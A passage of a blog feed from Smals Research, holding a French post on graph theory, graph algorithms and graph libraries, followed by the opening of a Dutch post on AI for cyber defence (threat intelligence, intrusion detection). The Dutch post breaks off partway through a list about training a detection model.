<p id="footnote-4">[4] <a href="/smalls-kg-checklist/">Smals KG Checklist: déterminer si un graphe de connaissances peut résoudre un problème concret</a></p>
<p id="footnote-5">[5] Ehrlinger, L., &amp; Wöß, W. (2016). Towards a definition of knowledge graphs. <i>SEMANTiCS 2016</i>, <i>48</i>(1-4), 2.</p>
<p id="footnote-6">[6] <a href="https://arxiv.org/pdf/2309.06888">Abitch, K., (2023). &#8220;OWL Reasoners still useable in 2023&#8221;</a></p>
<hr />
<p><em>Ce post est une contribution individuelle de Pierre Leleux, data scientist et network data analyst chez Smals Research. Cet article est écrit en son nom propre et n’impacte en rien le point de vue de Smals.</em></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Les technologies graphes, leurs applications et leurs outils : un tour d’horizon (Partie 1)</title>
		<link>https://www.smalsresearch.be/graphes_applications_et_outils/</link>
		
		<dc:creator><![CDATA[Pierre Leleux]]></dc:creator>
		<pubDate>Tue, 28 Jan 2025 10:00:00 +0000</pubDate>
				<category><![CDATA[[FR]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[Graph Databases]]></category>
		<category><![CDATA[Information management]]></category>
		<category><![CDATA[Knowledge Graph]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[methodology]]></category>
		<guid isPermaLink="false">/?p=21737</guid>

					<description><![CDATA[Cette première partie est consacrée aux graphes dans leur forme mathématique fondamentale.]]></description>
										<content:encoded><![CDATA[
<p><a href="/graphtechnologieen-toepassingen-en-tools/"><em>Nederlandstalige versie</em></a></p>



<p>Grâce à leur capacité à comprendre et exploiter les relations complexes entre les données, les technologies relatives aux graphes ont actuellement le vent en poupe, gagnant en popularité dans de nombreux domaines de l’intelligence artificielle et la gestion de données. Plusieurs articles ont d’ailleurs déjà été postés sur ce blog concernant différentes technologies de graphes, notamment sur les bases de données orientées graphe (graph database) [<a href="#footnote-1">1</a>, <a href="#footnote-2">2</a>, <a href="#footnote-3">3</a>] et les graphes de connaissances (knowledge graph) [<a href="#footnote-4">4</a>, <a href="#footnote-5">5</a>, <a href="#footnote-6">6</a>].</p>
<p>Mais que recouvre réellement le terme « graphe »&nbsp;? Entre les modèles mathématiques qui servent de fondation, les bases de données orientées graphe et les graphes de connaissances, il peut être difficile de s’y retrouver et d’identifier les outils adaptés à ses besoins. Ajoutez à cela le fait que travailler sur des données organisées en réseau peut sembler complexe à première vue et que l’utilisation d’algorithmes de graphe ne fait pas partie des compétences de base de la plupart des data engineers et data scientists, et tout cela peut rendre décourageant la création et l’exploitation de données et de modèles de graphes.</p>
<p>Cet article a donc pour objectif de faire le point sur les technologies graphes, en explorant les 3 aspects mentionnés ci-dessus&nbsp;:</p>
<ul>
<li>Les graphes d’un point de vue théorique, leurs propriétés, leurs applications principales ;</li>
<li>Les bases de données orientées graphe, spécialisées dans le stockage et l’exploitation de données connectées ;</li>
<li>Les graphes de connaissances qui structurent le savoir de manière sémantique.</li>
</ul>
<p>Le but est donc de présenter ces concepts, les frontières – parfois floues – qui les séparent, ainsi que de mettre en lumière leurs utilisations et les outils et logiciels qui y sont associés.</p>
<p>Cet article est divisé en deux parties. Cette première partie est consacrée aux graphes dans leur forme mathématique fondamentale, comment les encoder et les exploiter, ainsi qu&#8217;aux principaux algorithmes et leurs applications. La <a href="/graphes_applications_et_outils_2/">seconde partie</a> portera sur les bases de données orientées graphe et graphes de connaissances et les outils qui y sont associés.</p>



<h2 class="wp-block-heading">Retour aux fondamentaux&nbsp;: les graphes en tant que structure mathématique</h2>



<p>Avant toute chose, commençons par définir ce qu’est un graphe. Cette base théorique est cruciale car c’est dessus que se construisent les concepts de base de données orientée graphe et de graphe de connaissances. À tout moment, ces concepts plus avancés peuvent être ramenés à leur forme mathématique sous-jacente et, par extension, tous les modèles et algorithmes présentés ci-dessous sont applicables à des bases de données orientées graphe et graphes de connaissances.</p>
<p>Dans sa forme la plus fondamentale, un graphe est une structure mathématique constituée d’un ensemble de nœuds et d’arcs qui joignent des nœuds deux à deux. Les nœuds représentent typiquement des objets ou des personnes, et les arcs représentent des liens entre ces objets ou personnes. Par exemple, dans le cas d’un réseau social, un arc peut représenter un lien d’amitié entre deux utilisateurs.<br />Le graphe peut être soit dirigé soit non-dirigé. Dans le cas d’un graphe non-dirigé, les relations entre les nœuds sont toujours réciproques (par exemple, un lien d’amitié sur Facebook) alors que dans un graphe dirigé, un arc allant d’un nœud <em>i</em> à un nœud <em>j</em> n’implique pas forcément d’arc de sens opposé (par exemple, un site internet A ayant un hyperlien qui pointe vers un site B).</p>
<p>Suivant la situation ou l’application, un graphe peut aussi être pondéré ou non. Un graphe est dit pondéré lorsqu’un poids est associé à chaque arc, qui varie d’un arc à l’autre, et qui permet de donner plus de « force » à certains arcs. L’interprétation de ces poids dépend du contexte, ces poids peuvent par exemple représenter un degré d’affinité, de similarité, de dépendance, etc.</p>
<p>Un graphe est généralement représenté par une matrice carrée de dimension (<em>n</em> × <em>n</em>), où n est le nombre de nœuds du graphe, appelée matrice d’adjacence (notée <strong>A</strong>). L’élément en position (<em>i</em>, <em>j</em>) dans la matrice vaut le poids de l’arc allant du nœud <em>i</em> au nœud <em>j</em> s’il existe, et 0 sinon (voir Figure 1). La matrice d’adjacence est simplement une matrice binaire lorsque le graphe n’est pas pondéré.</p>



<figure class="wp-block-image size-full"><a href="/wp-content/uploads/2025/01/image-1.png"><img loading="lazy" decoding="async" width="736" height="330" src="/wp-content/uploads/2025/01/image-1.png" alt="" class="wp-image-21740" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-1.png 736w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-1-300x135.png 300w" sizes="auto, (max-width: 736px) 100vw, 736px" /></a><figcaption class="wp-element-caption">Figure 1&nbsp;: Représentation matricielle d’un graphe pondéré dirigé.</figcaption></figure>



<p>Dans l’exemple illustratif, il y a un arc de poids 3 allant du nœud 1 au nœud 3, et un arc de poids 5 allant dans le sens inverse. La matrice <strong>A</strong> contient donc la valeur 3 en position (1,3) et la valeur 5 en position (3,1).</p>
<p>Il est à noter que les matrices d’adjacence contiennent souvent une très large majorité de zéros, et sont donc généralement encodées via des matrices creuses (<em>sparse matrix</em>) afin d’optimiser la mémoire.</p>
<p>Cette représentation d’un graphe sous forme d’une matrice facilite fortement l’utilisation d’algorithmes sur le graphe, car nombre d’algorithmes de graphe, parfois complexes sous forme d’équations, peuvent souvent être résumés à une série d’opérations matricielles élémentaires. Ceci rend leur exécution très efficace dans des langages de programmation scientifiques optimisés pour les calculs matriciels, tels que R, MATLAB, Julia ou Python (numpy, scipy).</p>



<h2 class="wp-block-heading">Utilisations d’algorithmes de graphe et applications pratiques</h2>



<p>Pour mieux comprendre l’intérêt d’un graphe, commençons dans un premier temps par regarder les grandes catégories d’algorithmes de graphe, avec, pour chaque catégorie, quelques exemples d’utilisation pratique de ceux-ci.</p>
<ul>
<li>Déterminer le chemin optimal permettant de joindre une paire de nœuds.</li>
</ul>
<p>Il peut simplement s’agir de minimiser le nombre de transitions nécessaires pour passer d’un nœud à l’autre, ou alors, si un coût est associé à chaque arc, de trouver le chemin associé au coût le plus faible. Le coût peut-être défini en tant que poids d’un arc, ou encodé dans une seconde matrice (matrice de coût, indépendante de la matrice d’adjacence). La façon dont le coût d’un arc est déterminé dépend de l’application, en fonction de ce que l’on souhaite minimiser. Il peut s’agir, par exemple, d’une mesure de longueur de l’arc (telle que la longueur d’une route), une mesure de temps (le temps nécessaire pour franchir l’arc) ou un coût financier. Ce genre d’algorithme peut être utilisé en logistique pour optimiser le transport. Les algorithmes les plus connus en la matière étant les algorithmes de <a href="https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm">Dijkstra</a>, <a href="https://en.wikipedia.org/wiki/A*_search_algorithm">A*</a>, ou encore l’algorithme de <a href="https://en.wikipedia.org/wiki/Bellman%E2%80%93Ford_algorithm">Bellman-Ford</a>.</p>
<ul>
<li>Établir des mesures de similarité ou de distance entre des nœuds d’un graphe.</li>
</ul>
<p>Suivant le contexte, il peut être intéressant d’établir une mesure de similarité entre deux nœuds d’un graphe afin de déterminer à quel point ils sont proches l’un de l’autre. L’utilisation de mesures de similarité est une approche souvent utilisée dans les applications de recommandation. En construisant un graphe de consommation qui lie les utilisateurs aux produits qu’ils ont consommés, mesurer la similarité entre les nœuds permet d’identifier, pour un utilisateur donné, des utilisateurs ayant un profil de consommation similaire, en se basant sur leurs liens avec les produits. Typiquement, un produit sera recommandé à un utilisateur soit parce qu’il a été consommé par de nombreux utilisateurs similaires (<em>user-based recommendation</em>) soit car le produit est similaire à ceux déjà consommés par l’utilisateur (<em>item-based recommendation</em>). Les mesures de similarité les plus connues se basent généralement sur des mesures de voisinage commun (le nombre de voisins en commun que possèdent deux nœuds), telles que l’indice de Jaccard ou la similarité cosinus, mais d’autres méthodes permettent de prendre aussi en compte le voisinage indirect, telles que le kernel de Katz [<a href="#footnote-12">12</a>] (aussi connu sous le nom de « von Neumann kernel »). Pour voir quelques mesures de similarité classiques et leur utilisation en recommandation, voir [<a href="#footnote-13">13</a>].</p>
<p>L’opposé d’une mesure de similarité est une mesure de dissimilarité, qui augmente à mesure que les deux nœuds sont différents. Une mesure de distance est, par définition, une dissimilarité, puisqu’elle augmente lorsque deux nœuds sont éloignés. La mesure de dissimilarité la plus connue et la plus intuitive entre deux nœuds est la longueur du plus court chemin qui les sépare.</p>
<ul>
<li>Mesurer la centralité.</li>
</ul>
<p>Une mesure de centralité d’un nœud ou d’un arc, parfois aussi appelée mesure de prestige, sert à quantifier à quel point un nœud ou un arc est important au sein d’un graphe. La mesure de centralité la plus connue est, de loin, le score calculé par l’algorithme PageRank [<a href="#footnote-14">14</a>]. Initialement développé et utilisé par le moteur de recherche Google pour hiérarchiser les pages web, PageRank se base sur une marche aléatoire sur un graphe où chaque nœud représente une page web et chaque arc dirigé représente un hyperlien entre deux pages. L’algorithme PageRank trouve de nombreuses applications au-delà de la hiérarchisation de pages web&nbsp;:</p>
<blockquote>
<p style="text-align: center;">“Google’s PageRank method was developed to evaluate the importance of web-pages via their link structure. The mathematics of PageRank, however, are entirely general and apply to any graph or network in any domain. Thus, PageRank is now regularly used in bibliometrics, social and information network analysis, and for link prediction and recommendation. It’s even used for systems analysis of road networks, as well as biology, chemistry, neuroscience, and physics.” – <em>Gleich (2014) [<a href="#footnote-15">15</a>]</em></p>
</blockquote>
<p>Un autre algorithme très connu, similaire à PageRank, est l’algorithme HITS (Hyperlink-Induced Topic Search) [<a href="#footnote-16">16</a>].</p>
<p>Lorsque l’on parle de centralité, PageRank est souvent l’algorithme présenté, cependant, la centralité peut se comprendre de plusieurs manières. Il peut par exemple s’agir d’un nœud ou d’un arc constituant un intermédiaire critique pour la communication et la transmission d’information au sein du réseau. Repérer des nœuds centraux peut par exemple permettre d’optimiser la diffusion d’information dans un réseau ou de détecter des nœuds ou des arcs vitaux au graphe (dont la disparition nuirait fortement à la transmission d’information dans le graphe). Des mesures fréquentes de centralité de nœuds ou d’arcs se basant sur ce principe utilisent généralement des mesures « d’intermédiarité » (<em>betweenness centrality</em>).</p>
<p>La centralité peut aussi se comprendre comme la mesure de la représentativité d’un nœud au sein d’une communauté (en termes de proximité vis-à-vis des autres nœuds du graphe), se mesurant ici plutôt avec une mesure de proximité (<em>closeness centrality</em>). Il est à noter que nous avons déjà mentionné l’utilisation de différents algorithmes de centralité dans un cadre de détection de fraude dans des articles de blog précédents, notamment PageRank (sous forme d’un algorithme de diffusion) [<a href="#footnote-7">7</a>] et la betweenness centrality [<a href="#footnote-8">8</a>].</p>
<ul>
<li>Partitionner le graphe.</li>
</ul>
<p>Plus connu sous le nom de « <em>clustering</em> », le partitionnement de graphe consiste à regrouper des nœuds en communautés (<em>clusters</em>) tels que les nœuds au sein d’une communauté sont « similaires » et deux nœuds appartenant à des communautés différentes sont dissimilaires. Ce partitionnement peut se faire de plusieurs manières. Par exemple en utilisant une mesure de similarité ou de dissimilarité entre les nœuds du graphe, puis en exécutant un algorithme de clustering tel que le <em>k</em>-médoïdes sur base de ces (dis-)similarités.</p>
<p>Ou alors, en travaillant directement sur le graphe en cherchant à détecter des zones denses dans celui-ci. Cela peut se faire via de la propagation de label [<a href="#footnote-17">17</a>], ou via l’optimisation d’une fonction objectif mesurant la qualité du partitionnement, telle que la modularité. L’algorithme d’optimisation de la modularité le plus célèbre est la méthode de Louvain [<a href="#footnote-18">18</a>].</p>



<figure class="wp-block-image aligncenter size-full"><a href="/wp-content/uploads/2025/01/image-2.png"><img loading="lazy" decoding="async" width="508" height="444" src="/wp-content/uploads/2025/01/image-2.png" alt="" class="wp-image-21743" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-2.png 508w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-2-300x262.png 300w" sizes="auto, (max-width: 508px) 100vw, 508px" /></a><figcaption class="wp-element-caption">Figure 2&nbsp;: Exemple de graphe simple avec 3 communautés.</figcaption></figure>



<p>Nous avions déjà mentionné l’utilisation des méthodes de partitionnement de graphes dans plusieurs articles de blog [<a href="#footnote-9">9</a>, <a href="#footnote-10">10</a>], ces algorithmes sont utilisés notamment en communication et marketing afin de pouvoir réaliser des annonces ciblées.</p>
<ul>
<li>Extraire des caractéristiques ou des représentations.</li>
</ul>
<p>Une des limites des modèles de <em>machine learning</em> classique est qu’ils considèrent uniquement les données (variables continues et catégorielles) relatives aux observations, et ignorent l’information qui pourrait être tirée des relations entre les observations. Si des relations existent entre ces données, un graphe peut être construit, et les modèles de <em>machine learning</em> peuvent être enrichis via l’ajout de nouvelles variables extraites du graphe (il y a aussi un article de blog à ce sujet [<a href="#footnote-11">11</a>]). Ces nouvelles variables peuvent par exemple être une mesure de centralité (variable continue) ou le résultat d’un partitionnement (variable catégorielle), ou encore être obtenues via des méthodes de <em>graph embedding</em> (variables continues). Le <em>graph embedding</em> vise à obtenir une représentation des nœuds dans un espace multidimensionnel. Cet espace est calculé de sorte que, si deux nœuds sont proches dans le graphe, ils le seront aussi dans cet espace. Cet espace peut par exemple s’obtenir via des méthodes travaillant directement sur le graphe (node2vec [<a href="#footnote-19">19</a>], fastRP [<a href="#footnote-20">20</a>]) ou en travaillant sur base de similarités (kernelPCA [<a href="#footnote-21">21</a>]) ou de distances (t-SNE [<a href="#footnote-22">22</a>]) par exemple. Voir Figure 3 pour un exemple de représentation en 2 dimensions d&#8217;un graphe pondéré simple.</p>



<figure class="wp-block-image size-full"><a href="/wp-content/uploads/2025/01/image-3.png"><img loading="lazy" decoding="async" width="940" height="596" src="/wp-content/uploads/2025/01/image-3.png" alt="" class="wp-image-21744" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-3.png 940w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-3-300x190.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-3-768x487.png 768w" sizes="auto, (max-width: 940px) 100vw, 940px" /></a><figcaption class="wp-element-caption">Figure 3&nbsp;: Représentation d’un graphe dans un espace à 2 dimensions via node2vec (haut) et t-SNE (bas)</figcaption></figure>



<ul>
<li>Prédire des liens.</li>
</ul>
<p>Le concept de prédiction de lien est relativement explicite, il s’agit d’estimer la probabilité qu’un lien existe entre 2 nœuds. Cela permet de détecter des potentiels arcs manquants (graphe incomplet), ou de prédire l’apparition de nouveaux arcs. Les algorithmes de recommandations sont un exemple courant de prédiction de lien utilisateur-produit, mais ces algorithmes peuvent aussi servir à détecter des potentielles interactions encore inconnues à l’intérieur de réseaux biologiques. Ce genre de prédiction se fait souvent via des méthodes basées sur des similarités entre nœuds, de la factorisation matricielle, des modèles probabilistes ou des réseaux de neurones artificiels [<a href="#footnote-23">23</a>].</p>



<h2 class="wp-block-heading">Quels outils&nbsp;?</h2>



<p>Comme mentionné précédemment, la représentation de graphes sous forme matricielle permet de les exploiter de façon efficace via des langages de programmation scientifiques. Cependant, il existe aussi des librairies ou logiciels permettant de créer et exploiter des données de graphe.</p>
<p>Voici quelques exemples de librairies dédiées au travail sur les graphes. Ces librairies permettent de créer un objet graphe, qui peut être construit de plusieurs manières. Il peut être construit à vide, avant d’y ajouter manuellement des nœuds et des arcs, ou alors à partir d’une matrice d’adjacence ou d’une liste d’arcs, ou bien encore directement depuis des fichiers contenant une description du graphe sous la forme d’une liste de nœuds et d’arcs. Quelques exemples de librairies orientées graphe incluent igraph, networkx, graph-tool ou networkit pour Python, igraph pour R et Graphs pour Julia.</p>
<p>Pour un utilisateur ayant déjà des connaissances dans l’un de ces langages, ces libraires ont l’avantage d’être intuitives et faciles à prendre en main, et contiennent de nombreux algorithmes de graphe pré-implémentés.</p>
<p>Il existe aussi de nombreux logiciels prévus pour l’analyse du contenu de bases de données orientées graphe, tels que Gephi ou Cytoscape (pour une liste plus détaillée, nous vous invitons à vous référer à l’un de nos précédents articles sur le sujet&nbsp;: [<a href="#footnote-3">3</a>]). Il s’agit bien de logiciels créés pour des analyses ponctuelles ou des explorations visuelles des relations dans des ensembles de données, mais qui ne sont pas conçus pour intégrer et gérer de grandes quantités de données de manière continue comme le ferait une base de données orientée graphe.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p>Dans la première partie de cet article dédié aux différentes technologies basées sur les graphes, nous avons fait une rapide présentation de la théorie des graphes, ainsi que des principaux algorithmes de graphe et leurs applications. La <a href="/graphes_applications_et_outils_2/">seconde partie</a> se penchera sur les bases de données orientées graphe et les graphes de connaissances, les différences entre ces concepts ainsi que les outils qui y sont associés.</p>



<h2 class="wp-block-heading">Références</h2>



<p>Quelques articles de blog Smals Research concernant les graphes&nbsp;:</p>
<p id="footnote-1">[1] <a href="/graph-db-vs-rdbms/">Graph DB vs RDBMS</a></p>
<p id="footnote-2">[2] <a href="/sept-bonnes-raisons-dutiliser-une-graph-database/">Sept (bonnes) raisons d’utiliser une Graph Database</a></p>
<p id="footnote-3">[3] <a href="/explorer-une-base-de-donnees-orientee-graphes/">Explorer une base de données orientée graphes</a></p>
<p id="footnote-4">[4] <a href="/les-graphes-de-connaissance-incontournable-pour-lintelligence-artificielle-2/">Les graphes de connaissance, incontournable pour l’intelligence artificielle</a></p>
<p id="footnote-5">[5] <a href="/les-graphes-de-connaissance-quelques-applications/">Les graphes de connaissance&nbsp;: quelques applications</a></p>
<p id="footnote-6">[6] <a href="/smalls-kg-checklist/">Smals KG Checklist: déterminer si un graphe de connaissances peut résoudre un problème concret</a></p>
<p id="footnote-7">[7] <a href="/un-fraudeur-ne-fraude-jamais-seul/">Un fraudeur ne fraude jamais seul</a></p>
<p id="footnote-8">[8] <a href="/un-fraudeur-ne-fraude-jamais-seul-partie-2/">Un fraudeur ne fraude jamais seul, partie 2</a></p>
<p id="footnote-9">[9] <a href="/ce-quun-reseau-social-peut-nous-apprendre/">Ce qu’un réseau social peut nous apprendre</a></p>
<p id="footnote-10">[10] <a href="/facebook-peut-on-vraiment-cacher-sa-liste-damis/">Facebook&nbsp;: peut-on vraiment cacher sa liste d’amis&nbsp;?</a></p>
<p id="footnote-11">[11] <a href="/ameliorer-le-machine-learning-avec-des-donnees-graphes/">Améliorer le Machine Learning avec des données graphes</a></p>
<p> </p>
<p>Sources scientifiques&nbsp;:</p>
<p id="footnote-12">[12] Katz, L. (1953). A new status index derived from sociometric analysis. Psychometrika, 18(1), 39-43.</p>
<p id="footnote-13">[13] Fouss, F., Pirotte, A., Renders, J. M., &amp; Saerens, M. (2007). Random-walk computation of similarities between nodes of a graph with application to collaborative recommendation. IEEE Transactions on knowledge and data engineering, 19(3), 355-369.</p>
<p id="footnote-14">[14] Page, L., Brin, S., Motwani, R., &amp; Winograd, T. (1998). The pagerank citation ranking: Bringing order to the web. Technical report, Stanford Digital Libraries.</p>
<p id="footnote-15">[15] Gleich, D. F. (2015). PageRank beyond the web. siam REVIEW, 57(3), 321-363.</p>
<p id="footnote-16">[16] Kleinberg, J. M. (1999). Authoritative sources in a hyperlinked environment. Journal of the ACM (JACM), 46(5), 604-632.</p>
<p id="footnote-17">[17] Raghavan, U. N., Albert, R., &amp; Kumara, S. (2007). Near linear time algorithm to detect community structures in large-scale networks. Physical Review E—Statistical, Nonlinear, and Soft Matter Physics, 76(3), 036106.</p>
<p id="footnote-18">[18] Blondel, V. D., Guillaume, J. L., Lambiotte, R., &amp; Lefebvre, E. (2008). Fast unfolding of communities in large networks. Journal of statistical mechanics: theory and experiment, 2008(10), P10008.</p>
<p id="footnote-19">[19] Grover, A., &amp; Leskovec, J. (2016). node2vec: Scalable feature learning for networks. In Proceedings of the 22nd ACM SIGKDD international conference on Knowledge discovery and data mining (pp. 855-864).</p>
<p id="footnote-20">[20] Chen, H., Sultan, S. F., Tian, Y., Chen, M., &amp; Skiena, S. (2019, November). Fast and accurate network embeddings via very sparse random projection. In Proceedings of the 28th ACM international conference on information and knowledge management (pp. 399-408).</p>
<p id="footnote-21">[21] Schölkopf, B., &amp; Smola, A. J. (2002). Learning with kernels: support vector machines, regularization, optimization, and beyond.</p>
<p id="footnote-22">[22] Van der Maaten, L., &amp; Hinton, G. (2008). Visualizing data using t-SNE. Journal of machine learning research, 9(11).</p>
<p id="footnote-23">[23] Lü, L., &amp; Zhou, T. (2011). Link prediction in complex networks: A survey. <em>Physica A: statistical mechanics and its applications</em>, <em>390</em>(6), 1150-1170.</p>
<hr />
<p><em>Ce post est une contribution individuelle de Pierre Leleux, data scientist et network data analyst chez Smals Research. Cet article est écrit en son nom propre et n’impacte en rien le point de vue de Smals.</em></p>


]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Defensieve AI</title>
		<link>https://www.smalsresearch.be/defensieve-ai/</link>
		
		<dc:creator><![CDATA[Fabien A. P. Petitcolas]]></dc:creator>
		<pubDate>Thu, 23 May 2024 09:08:13 +0000</pubDate>
				<category><![CDATA[[NL]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">/?p=20525</guid>

					<description><![CDATA[In dit artikel bespreken we, na enkele algemene overwegingen, gebieden van cyberdefensie die baat hebben of zouden kunnen hebben bij AI, zoals intelligentie over cyberaanvallen, detectie en identificatie van cyberaanvallen en reactie op cybersecurity incidenten.]]></description>
										<content:encoded><![CDATA[
<p><a href="/lia-defensive/"><em>Version en français</em></a></p>
<p>In een <a href="/ai-en-cyberbeveiliging/">vorig artikel</a> hebben we kort uitgelegd wat er achter de term &#8216;artificiële intelligentie&#8217; schuilgaat door enkele basistechnieken te beschrijven die worden gebruikt in cybersecurity. In een <a href="/offensieve-ai/">tweede artikel</a> hebben we een kijkje genomen naar het gebruik van AI om aanvallen op computersystemen te vergemakkelijken. We hebben in het bijzonder beschreven hoe AI verschillende aanvalsvectoren kan wijzigen of al wijzigt.</p>
<p>In het laatste artikel van deze serie bespreken we, na enkele algemene overwegingen, gebieden van cyberdefensie die baat hebben of zouden kunnen hebben bij AI, zoals intelligentie over cyberaanvallen, detectie en identificatie van cyberaanvallen en reactie op cybersecurity incidenten.</p>
<h1 class="wp-block-heading">Inleiding</h1>
<p>Al in 2018 meende Schneier <a href="#_ref1">[1]</a> dat cyberdefensie meer zou profiteren van AI-technieken dan cyberaanval, omdat defensie volgens hem in een slechtere positie verkeert dan aanval, juist vanwege de grote menselijke componenten. Bovendien voorspelde hij dat tegenstanders hun aanvalsstrategie zouden blijven verbeteren door middel van automatisering, zodat de enige effectieve manier om deze aanvallen op machinesnelheid te verzwakken zou zijn door middel van automatisering. Deze stelling wordt ook verdedigd door Sarker et al. <a href="#_ref2">[2]</a> die stellen dat AI een revolutie teweeg kan brengen op het gebied van cybersecurity, niet alleen door op grote schaal taken te <em>automatiseren</em>, maar ook door <em>menselijke experts te helpen</em> een situatie beter te begrijpen en beslissingen te nemen in echte scenario&#8217;s.</p>
<p>Het adviesbureau Gartner verwacht dat AI zal bijdragen aan een vermindering van 30% van het percentage vals-positieven bij het testen van toepassingen en het opsporen van bedreigingen voor 2027 <a href="#_ref3">[3]</a>. De nieuwe tools die onlangs zijn aangekondigd door toonaangevende bedrijven in de markt, waaronder CrowdStrike, zouden volgens Gartner inderdaad kunnen helpen om de productiviteit en vaardigheden van beheerders te verbeteren. Er is geen tekort aan ideeën, maar zoals de auteurs van de nota van het adviesbureau aangeven, bestaan de zoek- en analysefunctionaliteiten al, en wat nieuw is, is in wezen de interactiviteit tussen de menselijke analisten en de machine.</p>
<p>Taddeo et al. <a href="#_ref4">[4]</a> temperen de hype in AI voor cyberdefensie door erop te wijzen dat het vertrouwen in AI voor de <em>robuustheid, veerkracht en respons</em> van cybersecuritysystemen onterecht is en dringen erop aan dat een vorm van controle noodzakelijk is om beveiligingsrisico&#8217;s te beperken. De auteurs gebruiken de term <em>vertrouwen</em> in zijn puurste betekenis: een beslissing om te delegeren, zonder enige vorm van controle of toezicht, een acceptatie van een risico op afhankelijkheid. Ze wijzen op het gebrek aan transparantie van AI en de evolutie van een AI-systeem in de tijd als belangrijke beperkingen en bevelen in het bijzonder een “in-house” implementatie aan voor kritieke nationale infrastructuren en voortdurende monitoring van het AI-systeem en de evolutie ervan.</p>
<p>Dasgupta et al. <a href="#_ref5">[5]</a> hebben de meeste recente publicaties over het gebruik van AI op het gebied van cybersecurity beoordeeld. Volgens hen blijft een cruciaal punt de prestaties (in termen van reactiesnelheid, maar ook vermindering van het aantal fout-positieven en fout-negatieven) van detectietools, die grote gevolgen kunnen hebben voor het systeem waarin ze worden ingezet.</p>
<p>In de volgende paragrafen gaan we dieper in op verschillende gebieden van cyberdefensie die baat kunnen hebben bij AI.</p>
<h1 class="wp-block-heading">Intelligentie over cyberaanvallen</h1>
<p>Inlichtingen over cyberbedreigingen is het proces van het verzamelen, analyseren en verspreiden van informatie over huidige en opkomende cyberbedreigingen, zoals actoren, doelwitten, technieken, tools, enz. Deze informatie kan organisaties helpen zich proactief te verdedigen tegen cyberaanvallen door beveiligingsteams tijdig van bruikbare informatie te voorzien.</p>
<p>Tegenwoordig wordt <em>Open Source Intelligence</em> (OSINT) op grote schaal gebruikt door overheden en inlichtingendiensten om cybercriminaliteit te onderzoeken en te bestrijden <a href="#_ref6">[6]</a>. Het hoofddoel van het Europese DiSIEM-project<a href="#_ftn1" name="_ftnref1"><sup>1</sup></a> was om verschillende bronnen van OSINT-gegevens te integreren in SIEM-systemen (<em>Security Information and Event Management</em>) om te helpen reageren op nieuw ontdekte kwetsbaarheden in de infrastructuur of zelfs om mogelijke opkomende bedreigingen te voorspellen<a href="#_ftn2" name="_ftnref2"><sup>2</sup></a>.</p>
<p>In principe zou een <em>Large Language Model</em> (LLM) getraind op grote gegevensbronnen zoals webfora, gespecialiseerde websites over kwetsbaarheden en incidenten, of sociale netwerken kunnen worden gebruikt om inlichtingenrapporten over cyberdreigingen te genereren. LLM’s zouden gebruikt kunnen worden om sneller toegang te krijgen tot technische documentatie en inlichtingen uit gespecialiseerde bronnen. Sewak et al. <a href="#_ref8">[8]</a> beweren dat LLM&#8217;s automatisch informatie uit verschillende bronnen kunnen extraheren, valideren en samenvatten, zoals dreigingsrapporten, literatuur, scripts enz. Ze wijzen er met name op dat LLM&#8217;s kwaadaardige bedoelingen in scripts kunnen identificeren. Hun aanpak is in staat om meer dan 90%<a href="#_ftn3" name="_ftnref3"><sup>3</sup></a> van de scripts te ontdekken die daadwerkelijk kwaadaardig zijn in een detectietaak.</p>
<h1 class="wp-block-heading">Detectie en identificatie van cyberaanvallen</h1>
<p>AI kan een rol spelen bij de detectie en identificatie van cyberaanvallen door inbraak- en malwaredetectiesystemen te verbeteren en waarschuwingen effectiever te beheren.</p>
<h2 class="wp-block-heading">Inbraakdetectie</h2>
<p>Volgens NIST <a href="#_ref9">[9]</a> verwijst een inbraakdetectiesysteem (IDS) naar “<em>het proces waarbij gebeurtenissen in een computersysteem of netwerk worden gemonitord en geanalyseerd op tekenen van mogelijke incidenten</em>.” Hoewel vroege ontwikkelingen van zulke systemen zich richtten op benaderingen die gebaseerd waren op handtekeningen, publiceerde Denning in 1986 een IDS-model <a href="#_ref10">[10]</a> gebaseerd op anomaliedetectie<a href="#_ftn4" name="_ftnref4"><sup>4</sup></a> dat vandaag de dag nog steeds de basis vormt van veel systemen. Het belangrijkste voordeel van anomaliedetectiemethoden is dat ze soorten incidenten kunnen detecteren die nog niet eerder zijn gezien. Vandaag de dag zijn het unsupervised machine learning methoden die vaak gebruikt worden voor anomaliedetectie: netwerkactiviteit wordt vergeleken met een vooraf getrainde en genormaliseerde baseline van normaal gedrag, waardoor het systeem onbekende kwaadaardige activiteit kan detecteren, in tegenstelling tot handtekeningmethoden.</p>
<p>Een benadering is om een artificieel neuraal netwerk te trainen om te leren of netwerkverkeer normaal is of overeenkomt met een klasse van aanvallen. In de praktijk gaat dit als volgt:</p>
<ol class="wp-block-list">
<li>Een expert verzamelt een dataset met zowel normaal netwerkverkeer als aanvallen.</li>
<li>Op een zeer krachtige machine wordt een neuraal netwerk getraind om het verschil tussen normaal verkeer en aanvalsverkeer te classificeren.</li>
<li>Een kopie van het in de vorige stap geleerde model wordt overgebracht naar het operationele inbraakdetectiesysteem van de organisatie.</li>
<li>Het inbraakdetectiesysteem past het model toe op het waargenomen netwerkverkeer.</li>
</ol>
